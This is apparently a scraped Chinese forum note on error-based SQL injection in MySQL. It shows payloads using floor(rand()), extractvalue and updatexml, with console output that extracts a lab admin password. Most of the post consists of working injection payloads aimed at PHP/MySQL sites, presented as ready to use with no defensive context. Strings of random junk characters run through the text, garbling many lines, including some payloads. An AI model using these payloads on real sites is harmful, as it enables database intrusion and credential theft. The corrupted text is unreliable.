放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。: J0 Y- X* f+ B4 \2 t; W' l6 [
实际测试环境:
: q$ Z) r9 y% `2 W
# g2 I1 b' N& Y1 i! J
\" H7 e e6 H, t' `1 {8 S8 Ymysql> show tables;
/ S. s$ p- |( W% G7 q+ ]+----------------+" U4 V8 W R2 Q) E% D
| Tables_in_test |
/ \) J0 e! L+ |% i8 |+----------------+) i0 ]$ g5 j. ?5 T g3 y: I- g
| admin |
- L( G! [5 @8 i0 `! Z| article |
u8 B! _! K, i! g/ |+----------------+
: G6 ] p" n4 Y# C5 A
- s9 {8 h0 C! i) m : z0 {9 N' e% S/ l- p: U
- u. e4 U" X% e! ^
mysql> describe admin;
' M( L7 o) t0 e# g; z* T. M+-------+------------------+------+-----+---------+----------------+
* U+ s4 |7 A1 @ t4 i7 [| Field | Type | Null | Key | Default | Extra |( }) u b I4 ?: z( j, R
+-------+------------------+------+-----+---------+----------------+% W1 L1 P; |- e
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
* r+ g5 F: g0 W1 E| user | varchar(50) | NO | | NULL | |
' q, J O! F# U, g) e- `- W| pass | varchar(50) | NO | | NULL | |/ u4 |6 r3 H0 u/ r% E% n7 N
+-------+------------------+------+-----+---------+----------------+' I+ G/ L$ _5 v
9 t7 U$ ?8 W0 _' Q 1 c& K% f) d. G! l* v
w: r" V9 P5 v6 r6 _; r
mysql> describe article;
% b+ @3 L: |: q8 f- {8 }$ J+---------+------------------+------+-----+---------+----------------+6 `* l. Z: U) g' G+ [. c
| Field | Type | Null | Key | Default | Extra |
2 W2 n; T6 @8 a+ X( y+---------+------------------+------+-----+---------+----------------+
9 e; t3 q: N/ k0 Y) B5 S| id | int(10) unsigned | NO | PRI | NULL | auto_increment |, a/ \; X% a5 C7 k' ^. a7 L
| title | varchar(50) | NO | | NULL | |
3 y/ s$ o# P. K# R' I: ]4 z, Y| content | varchar(50) | NO | | NULL | |0 V3 H3 l8 k* o3 [
+---------+------------------+------+-----+---------+----------------+. w8 q! x" G0 ]4 ^. V7 L
1、通过floor报错
/ l( Y5 ^1 B. i9 ]- P) ^可以通过如下一些利用代码+ O. \9 g6 H* |& A( O. ^( L
" i2 \6 g+ A2 X- T
8 T6 @' Q( f- x9 ~ O
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x1 u# U; w: ~) ~. ?! ^" P/ r
from information_schema.tables group by x)a);
- E& @6 H1 A9 Y7 y4 l. v. d 8 x$ F. A- ?# t' i# B
+ ?$ R1 t5 m- H5 o7 }5 f% Y+ n: iand (select count(*) from (select 1 union select null union select !1)x. E; w7 }% M/ v- k& u' \ X
group by concat((select table_name from information_schema.tables limit 1),
# N; q( K; }, n. t2 J. v' ufloor(rand(0)*2)));
8 I" g4 B5 L5 i举例如下:
$ w: m+ j1 h. |, |: [首先进行正常查询:
6 A) D& R. f J* b" k- K
) P% [1 Z4 c% P5 Gmysql> select * from article where id = 1;8 j0 H. [) H, i% I2 {
+----+-------+---------+
: D% P0 `. p& E" g) B| id | title | content |1 u: c. N) e: Q& E0 W
+----+-------+---------+0 M. y4 z; ]# o$ Y; s% ]
| 1 | test | do it |! o/ o5 q8 Z7 z p, v5 O
+----+-------+---------+
5 f( L& X/ W4 I假如id输入存在注入的话,可以通过如下语句进行报错。
3 P' T g7 ^7 a8 W5 V
8 q* L+ n4 r1 ?5 `2 [& X) w5 D ! s5 m& w+ w( Z. h' y; L
mysql> select * from article where id = 1 and (select 1 from
' e/ T$ u1 G W1 w, c2 I- w(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);: ^: e: _% \% {3 A- a3 t+ t# u5 b% v. P# F
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'/ X* D3 K+ y0 `( B0 L3 ^- K% ~
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
$ t _% G1 t) T0 d# u* s例如我们需要查询管理员用户名和密码:& R. M) Z4 \' e! A7 E% C/ \
Method1:
# q5 }, O" f1 B7 l) U* j 3 a" g3 H* V' s1 g' X8 X0 {
/ J0 l6 l$ c$ ~- b, Pmysql> select * from article where id = 1 and (select 1 from# C0 p" y8 O5 g, n; k7 \
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
: b8 P/ N! g* x1 A2 K/ C ]7 a3 A( K) q- pfrom information_schema.tables group by x)a);' D# L) @ R8 D, G
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
6 h' y! T& o5 Y: ^( o" LMethod2:7 n/ s$ h: {* O" N3 k
7 h3 ~9 r- h3 X9 V) ?; |3 J* M# m
4 |" r1 _2 w- l% E9 _5 c8 }9 c
mysql> select * from article where id = 1 and (select count(*)% X( z- I4 J7 }& N; u& {" f
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),) S o, o1 z W* c6 v k/ m5 Y
floor(rand(0)*2)));0 |1 Q! e' x' X, T5 z% l
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2 I# o T5 V* F1 z2、ExtractValue
* t2 l4 ]/ X# _" d7 o% D/ A x% m @测试语句如下
: |6 V) [0 A5 `5 O( R $ ?. ]& D% @8 @# V' K; W8 R& O
6 W8 U& R; e& a, P( d9 z2 B6 A* [, b) Qand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));7 c/ K# o* ] W! j
实际测试过程$ f2 B6 z6 Y0 y" r$ f5 G. ~/ ]
; M% z; s. K6 S+ D
) j2 o# }) R% v$ Imysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,& o) `5 i3 q8 C- N( h2 T
(select pass from admin limit 1)));--* T# h' M8 F- G$ c- C9 ~
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
4 q4 q5 f* \ D5 E% h3、UpdateXml
6 @. ?3 D- Y% t* Q8 B测试语句" f" D1 H# h3 j3 X+ i7 l
) y( R, @" q4 x; S a# b, U- N* Z
U$ V* o: @& ?6 ` Sand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))* D0 {* r0 b% H0 w
实际测试过程
( G- d" O1 H6 A) h 6 M( D4 d- B' ?) j' h
. w( Q4 M3 d: x* m
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,+ r) R7 U0 p) S3 W5 a
(select pass from admin limit 1),0x5e24),1));4 N. @2 O, y- C5 a
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
' E' ~' A3 d1 n# l& n+ XAll, thanks foreign guys.6 J! k( o6 E) O% ?3 V% R
& y6 e* }& c, v9 X
! }0 b: g" `& {3 v; E |